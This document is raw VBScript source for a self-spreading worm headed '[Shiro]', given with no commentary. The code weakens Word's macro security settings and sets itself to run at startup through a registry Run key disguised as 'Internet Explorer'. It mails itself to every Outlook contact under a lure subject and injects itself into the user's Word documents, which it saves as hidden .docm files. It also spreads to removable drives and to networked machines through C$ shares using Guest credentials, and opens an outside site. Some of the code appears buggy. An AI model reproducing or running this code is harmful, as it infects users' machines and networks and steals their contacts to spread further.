[Shiro]

Set WshShell=WScript.CreateObject("WScript.Shell") Set objFSO = CreateObject("Scripting.FileSystemObject") ScriptPath = WScript.ScriptFullName On Error Resume Next Function Install()     objFSO.CopyFile ScriptPath, "C:\Users\Public\"     X = objFSO.CopyFile(ScriptPath, Path & "\", True)     Set dc = fs.Drives     For Each d in dc         If (d.DriveType = 1) Then             s = d.DriveLetter             X = fs.CopyFile(ScriptPath, s & ":\", True)         Else         End If     Next     WshShell.Run "taskkill /f /im winword.exe",0,False     WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\11.0\Word\Security\VBAWarnings","00000000","REG_DWORD"     WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\11.0\Word\Security\Level","00000000","REG_DWORD"     Const cHKLM = &H80000002     Const cComp = "."     Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & cComp & "\root\default:StdRegProv")     strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"     strValueName = "Internet Explorer"     strValue = ScriptPath     objReg.SetStringValue cHKLM, strKeyPath, strValueName, strValue End Function Function Outlook()     Set objOutlook = CreateObject("Outlook.Application")     Set objMail = objOutlook.CreateItem(0)     Const olFolderContacts  = 10     Set objOutlook = CreateObject("Outlook.Application")     Set objNamespace = objOutlook.GetNamespace("MAPI")     Set objFolder = objNamespace.GetDefaultFolder(olFolderContacts)     Set objList = objFolder.Items()     For i = 1 to objList.MemberCount         Set objMember = objList.GetMember(i)         objMail.Recipients.Add(objMember.Address)     Next     objMail.Subject = "Here's that file you asked for"     objMail.Attachments.Add(ScriptPath)     objMail.Send     objOutlook.Quit     Set objMail = Nothing     Set objOutlook = Nothing End Function Function Word(objStartFolder)     Set objFolder = objFSO.GetFolder(objStartFolder)     Set colFiles = objFolder.Files     For Each objFile in colFiles         strFileName = objFile.Name         If objFSO.GetExtensionName(strFileName) = "docx" Or objFSO.GetExtensionName(strFileName) = "doc" Then             Set wdApp = CreateObject("Word.Application")             Set wdDoc = wdApp.Documents.Open(objFSO.GetAbsolutePathName(objFile.Name))             Set xlmodule = wdDoc.VBProject.VBComponents.Add(1)             Set objTextFile = objFSO.OpenTextFile(ScriptPath, 1)             strCode = objTextFile.ReadAll             objTextFile.Close             xlmodule.CodeModule.AddFromString strCode             WshShell.Run "ATTRIB.exe +S +H "& Chr(34) & objFSO.GetAbsolutePathName(objFile.Name) & Chr(34),0,False             wdDoc.SaveAs objFSO.GetAbsolutePathName(objFile.Name) & ".docm", 13             wdDoc.Close             wdApp.Quit         End If     Next     Word objFSO.GetFolder(objStartFolder) End Function Function Run()     WshShell.Run "ATTRIB.exe +S +H " & Chr(34) & ScriptPath & Chr(34),0,False     WshShell.Run "chrome.exe http://www.swagger.ml",0,False     WshShell.Run "firefox.exe http://www.swagger.ml",0,False End Function Function GetIP()     dim NIC1, Nic, StrIP, CompName     Set NIC1 = GetObject("winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")     For Each Nic in NIC1         If Nic.IPEnabled Then             StrIP = Nic.IPAddress(i)         End If     Next     GetIP = StrIP End Function Function Network() On Error Resume Next IPRange = Split(GetIP(), ".") IPRange(3) = "" IPRange = Join(IPRange, ".") Do i = i + 1 pingSuccessful = wshShell.run("ping -n 1 -w 1000 " & IPRange & i,0,True) If pingSuccessful = 0 Then WshShell.Run "NET USE Z: \\" & IPRange & i & "\C$ /user:Guest Guest /Y",0,True Dim fs, f, f1, fc, s Set fs = CreateObject("Scripting.FileSystemObject") Set f = fs.GetFolder("Z:\Users") Set fc = f.SubFolders For Each f1 in fc objFSO.CopyFile ScriptPath, "Z:\Users\" & f1.name & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" Next WshShell.Run "MOUNTVOL Z: /d",0,True End If Loop While i < 256 End Function Function GetRndIP()     Dim max,min     max=255     min=1     Randomize     GetRndIP = Int((max-min+1)*Rnd+min) & "." & Int((max-min+1)*Rnd+min) & "." & Int((max-min+1)*Rnd+min) & "." & Int((max-min+1)*Rnd+min) End Function Function NetworkRemote() On Error Resume Next IPRange = Split(GetRndIP(), ".") IPRange(3) = "" IPRange = Join(IPRange, ".") Do i = i + 1 pingSuccessful = wshShell.run("ping -n 1 -w 1000 " & IPRange & i,0,True) If pingSuccessful = 0 Then WshShell.Run "NET USE Z: \\" & IPRange & i & "\C$ /user:Guest Guest /Y",0,True Dim fs, f, f1, fc, s Set fs = CreateObject("Scripting.FileSystemObject") Set f = fs.GetFolder("Z:\Users") Set fc = f.SubFolders For Each f1 in fc objFSO.CopyFile ScriptPath, "Z:\Users\" & f1.name & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" Next WshShell.Run "MOUNTVOL Z: /d",0,True End If Loop While i < 256 End Function Function Finish()     Network     NetworkRemote     Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Desktop"     Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Documents"     Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Music"     Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Pictures"     Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Videos"     Word WshShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\Downloads"     Outlook     Install     Run End Function Finish